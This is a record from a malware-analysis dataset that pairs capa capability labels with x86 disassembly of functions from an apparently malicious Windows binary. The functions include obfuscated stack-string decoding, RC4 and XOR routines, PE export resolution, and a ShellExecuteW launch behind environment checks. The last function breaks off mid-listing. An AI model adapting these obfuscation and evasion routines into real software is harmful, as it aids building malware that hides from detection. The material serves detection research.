joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4058b0
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x14
mov eax, 0xffffffff
cmp dword [esp + 0x28], 0
je 0x405a93
mov edi, dword [esp + 0x2c]
test edi, edi
je 0x405a93
mov ecx, dword [esp + 0x30]
test ecx, ecx
je 0x405a93
cmp dword [ecx], 0
jne 0x405a93
push edi
call fcn.0040c820
add esp, 4
mov ebp, 0x1505
test eax, eax
je 0x40591d
xor ebx, ebx
nop
nop
nop
nop
movzx ecx, byte [edi + ebx]
test ecx, ecx
je 0x40591d
mov edx, ebp
shl edx, 5
mov esi, edx
xor esi, ebp
and edx, ebp
add esi, ecx
lea ebp, [esi + edx*2]
inc ebx
cmp eax, ebx
jne 0x405900
mov dword [esp + 4], eax
mov ecx, dword [esp + 0x28]
mov esi, dword [ecx + 0x20]
lea ebx, [esi - 1]
mov eax, esi
sub eax, 1
mov dword [esp + 0xc], eax
mov dword [esp], ebp
jae 0x4059ff
mov ebp, 0xffffffff
mov eax, dword [ecx + 0x18]
cmp eax, dword [ecx + 0x1c]
mov edi, dword [esp + 0x30]
mov ebx, dword [esp + 0x2c]
jb 0x40598d
mov ecx, dword [esp + 0x28]
call fcn.00405b50
mov ecx, eax
mov eax, 0xffffffff
test ecx, ecx
jne 0x405a93
push ebx
call fcn.0040c820
add esp, 4
lea esi, [esp + 0x10]
mov ecx, dword [esp + 0x28]
mov edx, ebx
push esi
push dword [esp + 4]
push eax
call fcn.00405aa0
add esp, 0xc
mov ebp, eax
push ebx
call fcn.0040c820
add esp, 4
mov esi, ebx
mov ebx, eax
inc eax
push eax
call dword [0x44a008]
add esp, 4
test eax, eax
je 0x405a8e
mov byte [eax + ebx], 0
push ebx
push esi
push eax
mov esi, eax
call fcn.0040c730
add esp, 0xc
mov edx, dword [esp + 0x28]
mov eax, dword [edx + 0xc]
mov ecx, dword [edx + 0x18]
mov dword [eax + ecx*4], esi
mov eax, dword [edx + 4]
mov ecx, dword [edx + 0x18]
mov dword [eax + ebp*4], ecx
mov eax, dword [edx + 0x10]
mov dword [eax + ecx*4], edi
mov eax, dword [edx + 0x14]
mov ecx, dword [edx + 0x18]
mov dword [eax + ecx*4], ebp
mov eax, dword [edx + 8]
mov ecx, dword [edx + 0x18]
mov esi, dword [esp]
mov dword [eax + ecx*4], esi
mov ecx, edx
inc dword [edx + 0x18]
mov eax, dword [ecx]
mov dword [edi], eax
xor eax, eax
jmp 0x405a93
and ebx, ebp
mov eax, dword [ecx + 4]
mov dword [esp + 8], eax
jmp 0x405a18
inc ebx
dec esi
je 0x40593d
mov ebp, ebx
and ebp, dword [esp + 0xc]
mov eax, dword [esp + 8]
mov edi, dword [eax + ebp*4]
cmp edi, 0xffffffff
je 0x405942
mov eax, dword [ecx + 8]
mov edx, dword [esp]
cmp dword [eax + edi*4], edx
jne 0x405a10
mov eax, dword [ecx + 0xc]
mov ebp, dword [eax + edi*4]
push ebp
call fcn.0040c820
mov ecx, dword [esp + 0x2c]
add esp, 4
cmp eax, dword [esp + 4]
jne 0x405a10
push dword [esp + 4]
push ebp
push dword [esp + 0x34]
call fcn.0040c840
mov ecx, dword [esp + 0x34]
add esp, 0xc
test eax, eax
jne 0x405a10
mov eax, dword [ecx + 0x10]
push dword [eax + edi*4]
call fcn.00404970
mov ecx, dword [esp + 0x2c]
add esp, 4
mov eax, dword [ecx + 0x10]
mov edx, dword [esp + 0x30]
mov dword [eax + edi*4], edx
mov edi, edx
jmp 0x4059f4
mov eax, 0xffffffff
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x406b10
Capabilities:
Compute adler32 checksum
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov ebp, dword [esp + 0x28]
test ebp, ebp
je 0x406cc6
mov esi, dword [esp + 0x2c]
mov ecx, dword [esp + 0x24]
movzx edi, cx
shr ecx, 0x10
test esi, esi
je 0x406cbf
mov edx, 0x5e6ea9af
mov eax, esi
mul edx
shr edx, 0xb
imul eax, edx, 0x15b0
mov edx, esi
sub edx, eax
jmp 0x406ba5
mov eax, dword [esp]
sub eax, dword [esp + 4]
add ebp, eax
mov esi, dword [esp + 8]
mov eax, edi
mov edx, 0x80078071
mul edx
mov ebx, edx
shr ebx, 0xf
mov eax, ecx
mov edx, 0x80078071
mul edx
imul eax, ebx, 0xfff1
sub edi, eax
shr edx, 0xf
imul eax, edx, 0xfff1
sub ecx, eax
sub esi, dword [esp]
mov edx, 0x15b0
je 0x406cbf
xor ebx, ebx
cmp edx, 8
mov dword [esp], edx
mov dword [esp + 8], esi
jb 0x406c25
mov ebx, edx
and ebx, 0x1ff8
xor eax, eax
nop
nop
nop
mov edx, eax
movzx eax, byte [ebp + eax]
add eax, edi
add ecx, eax
movzx esi, byte [ebp + edx + 1]
add esi, eax
add ecx, esi
movzx eax, byte [ebp + edx + 2]
add eax, esi
add ecx, eax
movzx esi, byte [ebp + edx + 3]
add esi, eax
add ecx, esi
movzx eax, byte [ebp + edx + 4]
add eax, esi
add ecx, eax
movzx esi, byte [ebp + edx + 5]
add esi, eax
add ecx, esi
movzx eax, byte [ebp + edx + 6]
mov edi, esi
and edi, eax
xor esi, eax
lea eax, [esi + edi*2]
add ecx, eax
movzx edi, byte [ebp + edx + 7]
add edi, eax
add ecx, edi
lea eax, [edx + 8]
add edx, 0xf
cmp edx, dword [esp]
mov edx, dword [esp]
jb 0x406bc0
add ebp, eax
mov esi, dword [esp + 8]
mov eax, ebx
sub eax, edx
jae 0x406b6d
mov dword [esp + 0xc], eax
mov eax, edx
and eax, 3
mov dword [esp + 4], ebx
je 0x406c70
neg eax
xor ebx, ebx
mov edx, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [edx]
inc edx
add edi, esi
add ecx, edi
dec ebx
cmp eax, ebx
jne 0x406c50
mov eax, dword [esp + 4]
sub eax, ebx
cmp dword [esp + 0xc], 0xfffffffc
ja 0x406b60
jmp 0x406c7f
mov eax, ebx
mov edx, ebp
cmp dword [esp + 0xc], 0xfffffffc
ja 0x406b60
mov ebx, dword [esp]
sub ebx, eax
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [edx + eax]
add esi, edi
add ecx, esi
movzx edi, byte [edx + eax + 1]
add edi, esi
add ecx, edi
movzx esi, byte [edx + eax + 2]
add esi, edi
add ecx, esi
movzx edi, byte [edx + eax + 3]
add edi, esi
add ecx, edi
add eax, 4
cmp ebx, eax
jne 0x406c90
jmp 0x406b60
shl ecx, 0x10
or ecx, edi
jmp 0x406ccb
mov ecx, 1
mov eax, ecx
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x406ce0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
mov ecx, dword [esp + 0x18]
test ecx, ecx
je 0x406d44
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
test edx, edx
je 0x406d46
not eax
xor esi, esi
nop
nop
nop
nop
mov edi, eax
shr edi, 4
movzx ebx, byte [ecx + esi]
xor eax, ebx
and eax, 0xf
xor edi, dword [eax*4 + 0x447c50]
mov eax, edi
shr eax, 4
mov ebp, edi
and ebp, 0xf
shr ebx, 4
and edi, ebx
add ebx, ebp
add edi, edi
sub ebx, edi
mov edi, dword [ebx*4 + 0x447c50]
mov ebx, eax
and ebx, edi
add eax, edi
add ebx, ebx
sub eax, ebx
inc esi
cmp edx, esi
jne 0x406d00
not eax
jmp 0x406d46
xor eax, eax
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40ce10
Capabilities:
Create process on windows
Encode data using xor
Terminate process

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x28
call fcn.00441520
test al, al
je 0x40d047
mov dword [esp], 0x8382d6ad
mov word [esp + 4], 0
mov byte [esp + 6], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xe0
xor cl, byte [esp + eax]
add cl, 0xa0
mov byte [esp + eax], cl
inc eax
cmp eax, 7
jne 0x40ce40
mov eax, dword [esp]
mov ecx, eax
and ecx, 0xc97ed9
mov edx, eax
or eax, 0xc97ed9
imul eax, ecx
xor ecx, 0xc97ed9
and edx, 0xff368126
imul edx, ecx
add eax, edx
mov ecx, eax
lea edx, [eax + eax]
not edx
add edx, eax
shr eax, 7
mov esi, eax
not esi
or ecx, esi
and esi, edx
xor eax, edx
add eax, edx
sub eax, esi
and eax, ecx
lea ecx, [eax + eax]
not ecx
add ecx, eax
mov edx, ecx
and edx, 0xf4601e57
mov esi, ecx
and esi, 0xb9fe1a8
or ecx, 0xb9fe1a8
imul ecx, esi
mov dword [esp], 0x85903e2b
mov byte [esp + 4], 0
and eax, 0xb9fe1a8
imul eax, edx
mov edx, esp
mov esi, 0x9bf5a61
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [edx]
mov ebx, esi
or ebx, edi
lea ebp, [esi - 0x9bf5a00]
and ebp, edi
not ebx
or ebx, ebp
mov edi, ebx
not edi
and edi, 0x17
and ebx, 0xe8
sub ebx, edi
inc bl
mov byte [edx], bl
inc edx
dec esi
cmp esi, 0x9bf5a5c
jne 0x40cee0
add ecx, eax
cmp ecx, dword [esp]
jne 0x40d010
mov dword [esp], 0x93e791f3
mov dword [esp + 4], 0xaf98add0
mov dword [esp + 8], 0xab22a9d5
mov dword [esp + 0xc], 0xa786a5d9
mov dword [esp + 0x10], 0xa3c1a197
mov dword [esp + 0x14], 0xbdbc
mov eax, 0xa02abb8f
nop
movzx ecx, byte [esp + eax + 0x5fd54471]
lea edx, [eax + 0x5fd5448d]
and edx, ecx
add ecx, eax
add edx, edx
mov esi, ecx
sub esi, edx
and ecx, 1
xor esi, 1
lea ecx, [esi + ecx*2]
mov byte [esp + eax + 0x5fd54471], cl
inc eax
cmp eax, 0xa02abba7
jne 0x40cf50
mov dword [esp + 0x18], 0xe116e715
mov dword [esp + 0x1c], 0xfd14e31f
mov dword [esp + 0x20], 0xfffc
mov word [esp + 0x24], 0
mov edx, 0xa9
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + edx - 0x91]
mov ebx, eax
mov esi, eax
and ebx, edx
mov eax, ebx
or al, 0xfd
inc al
mov ecx, ebx
and cl, 0xbd
mul cl
mov ecx, eax
mov eax, esi
add cl, al
mov eax, ebx
shr al, 1
and al, 1
or bl, 2
mul bl
add al, al
sub cl, al
movzx eax, cl
add eax, edx
add al, 0xb3
mov byte [esp + edx - 0x91], al
inc edx
cmp edx, 0xb7
jne 0x40cfb0
mov eax, esp
lea ecx, [esp + 0x18]
push 5
push 0
push eax
push 0x4493da
push ecx
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.004392e0
test al, al
je 0x40d042
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call dword [sym.imp.USER32.dll_GetInputState]
test eax, eax
je 0x40d02f
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.0040e050
test al, al
je 0x40d042
call fcn.00410b30
call fcn.0040f9d0
call fcn.004429c0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40d0a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x404
mov dword [esp], ecx
mov esi, dword [esp + 0x418]
movzx eax, word [esi]
lea ebp, [esp + 4]
test ax, ax
je 0x40d1d5
mov edx, 0x1ff
nop
nop
nop
nop
nop
nop
nop
movzx ebx, ax
lea edi, [esi + 2]
cmp bx, 0x7f
ja 0x40d0f0
mov byte [ebp], bl
lea eax, [ebp + 1]
jmp 0x40d180
cmp ebx, 0x7ff
ja 0x40d120
cmp edx, 2
jb 0x40d120
mov eax, ebx
shr eax, 6
add al, 0xc0
mov byte [ebp], al
and bl, 0x3f
or bl, 0x80
mov byte [ebp + 1], bl
lea eax, [ebp + 2]
jmp 0x40d180
mov eax, ebx
and eax, 0xfc00
cmp eax, 0xd800
jne 0x40d19a
cmp edx, 4
jb 0x40d19a
movzx ecx, word [esi + 2]
add esi, 4
shl ebx, 0xa
lea eax, [ebx + ecx]
add eax, 0xfca02400
mov ebx, eax
shr ebx, 0x12
add bl, 0xf0
mov byte [ebp], bl
mov ebx, eax
shr ebx, 0xc
and bl, 0x3f
or bl, 0x80
mov byte [ebp + 1], bl
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [ebp + 2], al
mov eax, ecx
xor eax, 0xc0
or ecx, 0x3f
and ecx, eax
add cl, 0x80
lea eax, [ebp + 4]
mov byte [ebp + 3], cl
mov edi, esi
nop
add edx, ebp
sub edx, eax
mov esi, edi
mov ebp, eax
movzx eax, word [esi]
test ax, ax
je 0x40d1d5
test edx, edx
jne 0x40d0d0
jmp 0x40d1d5
movzx eax, ax
cmp eax, 0xdc00
jne 0x40d1a8
mov esi, edi
jmp 0x40d188
cmp edx, 3
jb 0x40d1d1
mov eax, ebx
shr eax, 0xc
or al, 0xe0
mov byte [ebp], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [ebp + 1], al
and bl, 0x3f
or bl, 0x80
lea eax, [ebp + 3]
mov byte [ebp + 2], bl
jmp 0x40d180
mov eax, ebp
jmp 0x40d180
mov esi, dword [esp + 0x420]
mov edx, dword [esp + 0x41c]
mov byte [ebp], 0
xor eax, eax
jmp 0x40d1f8
mov byte [esp + eax + 0x204], bl
inc eax
movzx ecx, byte [esp + eax + 4]
mov bl, 0x2f
cmp ecx, 0x5c
je 0x40d1f0
test ecx, ecx
je 0x40d20c
mov ebx, ecx
jmp 0x40d1f0
mov byte [esp + eax + 0x204], 0
lea eax, [esp + 0x204]
push 0
push 0
push 0
mov ecx, dword [esp + 0xc]
push dword [ecx + 8]
add ecx, 0x10
push 0
push 0
push esi
push edx
push eax
push ecx
call fcn.00408d50
add esp, 0x28
test eax, eax
setne al
add esp, 0x404
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x40d2d0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x5c
mov edx, dword [esp + 0x78]
mov esi, dword [esp + 0x74]
mov dword [esp + 0x14], ecx
mov eax, dword [ecx + 0x60]
mov dword [esp + 0x10], eax
mov dword [esp], 0x1e1715
mov eax, 0xa3c7fbba
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x5c380446]
mov ebx, ecx
and ebx, eax
add bl, bl
sub cl, bl
movzx ecx, cl
add ecx, eax
add cl, 0x5e
mov byte [esp + eax + 0x5c380446], cl
inc eax
cmp eax, 0xa3c7fbbe
jne 0x40d300
mov dword [esp + 4], 0x160c1026
mov dword [esp + 8], 0x30a
mov byte [esp + 0xc], 0
mov eax, 0x26843ac1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + eax - 0x26843abd]
mov ecx, ebx
and ecx, eax
add cl, cl
sub bl, cl
movzx ecx, bl
add ecx, eax
add cl, 0x3b
mov byte [esp + eax - 0x26843abd], cl
inc eax
cmp eax, 0x26843aca
jne 0x40d350
mov dword [esp + 0x18], 0x566ca0a3
mov dword [esp + 0x1c], 0x52566468
mov dword [esp + 0x20], 0x5d265c63
mov dword [esp + 0x24], 0x5a515e29
mov dword [esp + 0x28], 0x72592d2e
mov dword [esp + 0x2c], 0x3467a9af
mov dword [esp + 0x30], 0x4741334a
mov dword [esp + 0x34], 0x466e843c
mov dword [esp + 0x38], 0xc43f3f39
mov dword [esp + 0x3c], 0xc4b9c7bb
mov dword [esp + 0x40], 0xbf768dba
mov dword [esp + 0x44], 0x72b5c9c9
mov dword [esp + 0x48], 0xa2cabcb8
mov dword [esp + 0x4c], 0xa6ac639d
mov dword [esp + 0x50], 0x6b99a0ab
mov byte [esp + 0x54], 0x48
mov dword [esp + 0x55], 0
mov ebx, 0xc0966e5d
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + ebx + 0x3f6991bb]
xor eax, ebx
mov ecx, eax
xor ecx, 0xc2f027d1
mov edi, eax
or edi, 0x6482e
and edi, ecx
mov ecx, edi
and ecx, 0xfd
mov ebp, eax
and ebp, 2
or edi, 2
imul edi, ebp
xor ebp, 2
imul ebp, ecx
xor eax, 0x2e
add eax, ebp
add eax, edi
inc al
mov byte [esp + ebx + 0x3f6991bb], al
inc ebx
cmp ebx, 0xc0966e9e
jne 0x40d410
mov ebx, dword [esp + 0x70]
add ebx, dword [esp + 0x10]
movzx eax, byte [esp + 0x18]
mov edi, ebx
test al, al
je 0x40d48b
lea ecx, [esp + 0x19]
mov edi, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x40d480
mov byte [edi], 0
movzx eax, byte [esi]
test al, al
je 0x40d4ab
inc esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [esi]
inc esi
test al, al
jne 0x40d4a0
mov byte [edi], 0
movzx eax, byte [esp + 4]
test al, al
je 0x40d4cb
lea ecx, [esp + 5]
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x40d4c0
mov byte [edi], 0
movzx eax, byte [edx]
test al, al
je 0x40d4eb
inc edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [edx]
inc edx
test al, al
jne 0x40d4e0
mov byte [edi], 0
movzx eax, byte [esp]
test al, al
je 0x40d50b
lea ecx, [esp + 1]
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x40d500
mov byte [edi], 0
sub edi, ebx
mov eax, dword [esp + 0x14]
add dword [eax + 0x60], edi
add esp, 0x5c
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x40de80
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov ebx, dword [ebp + 0x14]
mov esi, dword [ebp + 0xc]
mov al, byte [ebp + 8]
mov edi, eax
call fcn.0040e040
push eax
push eax
test ebx, ebx
sets al
mov ecx, ebx
sub ecx, 1
sete cl
or al, cl
mov ecx, ebx
sub ecx, 0x25
setge cl
or al, cl
test al, 1
jne 0x40deb7
jmp 0x40debc
jmp 0x40e02d
mov eax, edi
movzx ecx, al
mov edi, esi
mov edx, dword [ebp + 0x10]
add edi, edx
add edi, 0xffffffff
mov byte [esi + edx - 1], 0
cmp ecx, 0
sete cl
test cl, 1
jne 0x40dedd
jmp 0x40deed
mov eax, edi
add eax, 0xffffffff
mov byte [edi - 1], 0x30
mov edi, eax
jmp 0x40e02b
cmp ebx, 0xa
sete cl
test cl, 1
jne 0x40defd
jmp 0x40dfa7
jmp 0x40deff
movzx ecx, al
cmp ecx, 0x64
setae al
test al, 1
jne 0x40df0e
jmp 0x40df61
mov esi, 0x64
mov eax, ecx
xor edx, edx
div esi
mov eax, edx
xor eax, 0xffffffff
and eax, 2
mov esi, edx
and esi, 0xfffffffd
imul esi, eax
mov eax, edx
and eax, 2
or edx, 2
imul edx, eax
add edx, esi
mov al, byte [edx + 0x448761]
mov esi, edi
add esi, 0xffffffff
mov byte [edi - 1], al
mov al, byte [edx + 0x448760]
add esi, 0xffffffff
mov byte [edi - 2], al
mov edi, 0x64
mov eax, ecx
xor edx, edx
div edi
mov edi, esi
jmp 0x40deff
cmp ecx, 0xa
setb al
jmp 0x40df69
test al, 1
jne 0x40df6f
jmp 0x40df82
lea eax, str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
add eax, ecx
jmp 0x40df79
mov al, byte [eax]
add edi, 0xffffffff
mov byte [edi], al
jmp 0x40dfa2
shl ecx, 1
mov al, byte [ecx + 0x448761]
mov edx, edi
add edx, 0xffffffff
mov byte [edi - 1], al
mov al, byte [ecx + 0x448760]
add edx, 0xffffffff
mov byte [edi - 2], al
mov edi, edx
jmp 0x40e02b
cmp ebx, 0x10
sete cl
test cl, 1
jne 0x40dfb6
jmp 0x40dfb4
jmp 0x40dffb
movzx eax, al
cmp eax, 0x10
setl cl
test cl, 1
jne 0x40dfc6
jmp 0x40dfd9
mov cl, byte [eax + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov eax, edi
add eax, 0xffffffff
mov byte [edi - 1], cl
mov edi, eax
jmp 0x40e02b
shl eax, 1
mov dl, byte [eax + 0x44882a]
mov ecx, edi
add ecx, 0xffffffff
mov byte [edi - 1], dl
mov al, byte [eax + str.000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F808182838485868788898A8B8C8D8E8F909192939495969798999A9B9C9D9E9FA0A1A2A3A4A5A6A7A8A9AAABACADAEAFB0B1B2B3B4B5B6B7B8B9BABBBCBDBEBFC0C1C2C3C4C5C6C7C8C9CACBCCCDCECFD0D1D2D3D4D5D6D7D8D9DADBDCDDDEDFE0E1E2E3E4E5E6E7E8E9EAEBECEDEEEFF0F1F2F3F4F5F6F7F8F9FAFBFCFDFEFF]
add ecx, 0xffffffff
mov byte [edi - 2], al
mov edi, ecx
jmp 0x40e02b
movzx ecx, al
cmp ecx, 0
seta al
test al, 1
jne 0x40e00a
jmp 0x40e029
mov eax, ecx
xor edx, edx
div ebx
mov al, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov esi, edi
add esi, 0xffffffff
mov byte [edi - 1], al
mov eax, ecx
xor edx, edx
div ebx
mov edi, esi
jmp 0x40dffb
jmp 0x40e02b
mov esi, edi
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40eb50
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 8
mov edx, dword [esp + 0x24]
mov eax, dword [esp + 0x1c]
movzx ebx, byte [edx]
test bl, bl
je 0x40edd0
mov esi, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
mov ecx, eax
not ecx
lea edi, [ecx + eax*2]
mov eax, dword [esp + 0x1c]
nop
nop
nop
test esi, esi
je 0x40eb8c
cmp edx, esi
jae 0x40edd0
test edi, edi
je 0x40edd0
movzx ebp, bl
test bl, bl
js 0x40ebc0
inc edx
lea ecx, [eax + 2]
mov word [eax], bp
mov esi, ecx
sub esi, eax
sar esi, 1
sub edi, esi
mov eax, ecx
mov esi, dword [esp + 0x28]
mov bh, byte [edx]
mov bl, bh
test bh, bh
jne 0x40eb80
jmp 0x40edd0
mov ecx, ebp
and ecx, 0xffffffe0
cmp ecx, 0xc0
jne 0x40ebf8
cmp bl, 0xc2
jb 0x40ebb0
mov bh, byte [edx + 1]
movzx esi, bh
mov ecx, esi
and ecx, 0xffffffc0
cmp ecx, 0x80
jne 0x40ec64
and ebp, 0x1f
shl ebp, 6
add edx, 2
and esi, 0x3f
or esi, ebp
jmp 0x40eccb
mov ecx, ebp
and ecx, 0xfffffff0
cmp ecx, 0xe0
jne 0x40ec24
movzx ecx, byte [edx + 1]
cmp bl, 0xed
je 0x40ec6e
cmp ebp, 0xe0
jne 0x40ec77
mov ebx, ecx
add cl, 0x40
cmp cl, 0xe0
mov ecx, ebx
jb 0x40ebac
jmp 0x40ec77
mov ecx, ebp
and ecx, 0xfffffff8
cmp ecx, 0xf0
jne 0x40edaf
cmp bl, 0xf4
ja 0x40ebb0
movzx ecx, byte [edx + 1]
je 0x40ecd6
cmp ebp, 0xf0
jne 0x40ecdf
mov bh, cl
add bh, 0x40
cmp bh, 0xd0
jb 0x40ebac
jmp 0x40ecdf
inc edx
mov esi, dword [esp + 0x28]
jmp 0x40ebb2
cmp cl, 0x9f
ja 0x40ebac
mov ebx, ecx
not ecx
mov esi, ecx
or esi, 0xc0
mov dword [esp + 4], ebx
add esi, ebx
inc esi
cmp esi, 0x80
jne 0x40edb6
mov bh, byte [edx + 2]
movzx esi, bh
mov dword [esp], esi
and esi, 0xffffffc0
cmp esi, 0x80
jne 0x40edbc
mov esi, dword [esp + 4]
inc esi
shl ebp, 0xc
or ecx, 0x3f
add ecx, esi
shl ecx, 6
add ecx, ebp
add edx, 3
mov esi, dword [esp]
and esi, 0x3f
or esi, ecx
lea ecx, [eax + 2]
mov word [eax], si
jmp 0x40eba2
cmp cl, 0x8f
ja 0x40ebac
mov esi, ecx
and esi, 0xffffffc0
cmp esi, 0x80
jne 0x40edb6
mov bh, byte [edx + 2]
movzx ebp, bh
mov esi, ebp
and esi, 0xffffffc0
cmp esi, 0x80
jne 0x40edbc
mov dword [esp + 4], ebp
movzx ebp, byte [edx + 3]
mov esi, ebp
xor esi, 0xffffff3f
mov dword [esp], ebp
or ebp, 0xc0
and ebp, esi
cmp ebp, 0x80
jne 0x40edc8
and bl, 7
movzx esi, bl
shl esi, 0x12
and ecx, 0x3f
shl ecx, 0xc
mov ebp, dword [esp + 4]
and ebp, 0x3f
shl ebp, 6
or ebp, ecx
or ebp, esi
add edx, 4
mov ecx, ebp
and ecx, 0x1ff800
cmp ecx, 0xd800
je 0x40ebac
mov ebx, dword [esp]
and ebx, 0x3f
or ebx, ebp
cmp ebx, 0x10000
mov esi, dword [esp + 0x28]
jb 0x40ebb0
cmp edi, 2
jb 0x40edaf
add ebp, 0xf0000
shr ebp, 0xa
and ebp, 0x3ff
or ebp, 0xd800
mov word [eax], bp
and ebx, 0x3ff
or ebx, 0xdc00
lea ecx, [eax + 4]
mov word [eax + 2], bx
jmp 0x40eba2
mov ecx, eax
jmp 0x40eba2
inc edx
jmp 0x40ebac
add edx, 2
mov esi, dword [esp + 0x28]
jmp 0x40ebb2
add edx, 3
jmp 0x40ebac
mov word [eax], 0
sub eax, dword [esp + 0x1c]
sar eax, 1
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x410b30
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xcb0
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
shr eax, 0x1f
jmp dword [eax*4 + 0x44b9a8]

Function at 0x41d600
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
mov eax, 0x1110
call fcn.0040c660
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
mov esi, 0xfffffffe
nop
nop
cmp word [eax + esi + 2], 0
lea esi, [esi + 2]
jne 0x41d620
sar esi, 1
lea ecx, [esp + 0x2c]
push ecx
push 0
push 0
push esi
push eax
push 0
call dword [0x451d68]
mov ebx, dword [esp + 0x2c]
mov edi, 0xffffffff
test ebx, ebx
jns 0x41d654
mov eax, 0xffffffff
jmp 0x41d657
lea eax, [ebx + ebx]
push eax
call fcn.0040c700
add esp, 4
lea ecx, [esp + 0x2c]
push ecx
push ebx
mov dword [esp + 0x30], eax
push eax
push esi
mov eax, dword [ebp + 0xc]
push dword [eax + 4]
push 0
call dword [0x451d68]
mov eax, dword [esp + 0x2c]
mov ecx, eax
add ecx, 0xd
js 0x41d68c
lea edi, [eax*2 + 0x1a]
push edi
call fcn.0040c700
add esp, 4
mov dword [esp + 0x10c], 0xf520964
mov dword [esp + 0x110], 0x3750d6d
mov dword [esp + 0x114], 0x7260174
mov dword [esp + 0x118], 0x1b7f056e
mov dword [esp + 0x11c], 0x1f69196e
mov dword [esp + 0x120], 0x13611d65
mov dword [esp + 0x124], 0x17161162
mov byte [esp + 0x128], 0
mov edi, 0x8ce43f02
mov ecx, 0xfd
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + edi + 0x731bc20a]
mov esi, edi
or esi, edx
not edx
or edx, ecx
and edx, esi
mov esi, edx
and esi, 0xb
xor esi, 0x4011000b
and edx, 0xc8004f4
sub edx, esi
mov esi, edx
and esi, 1
xor edx, 1
lea edx, [edx + esi*2]
mov byte [esp + edi + 0x731bc20a], dl
inc edi
dec ecx
cmp edi, 0x8ce43f1f
jne 0x41d700
mov edx, dword [esp + 0x28]
movzx ecx, word [edx]
mov esi, eax
test cx, cx
je 0x41d771
add edx, 2
mov esi, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [esi], cx
add esi, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41d760
mov word [esi], 0
movzx ecx, word [esp + 0x10c]
test cx, cx
je 0x41d7a1
lea edx, [esp + 0x10e]
nop
nop
nop
nop
nop
nop
mov word [esi], cx
add esi, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41d790
mov word [esi], 0
lea ecx, [esp + 0x78]
push 0x60
push 3
push 0x120089
push ecx
mov dword [esp + 0x14], eax
push eax
call fcn.004459e0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44cae8]
Function at 0x4260c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x18
mov edi, dword [esp + 0x2c]
mov eax, 0xfffffffe
cmp word [edi + eax + 2], 0
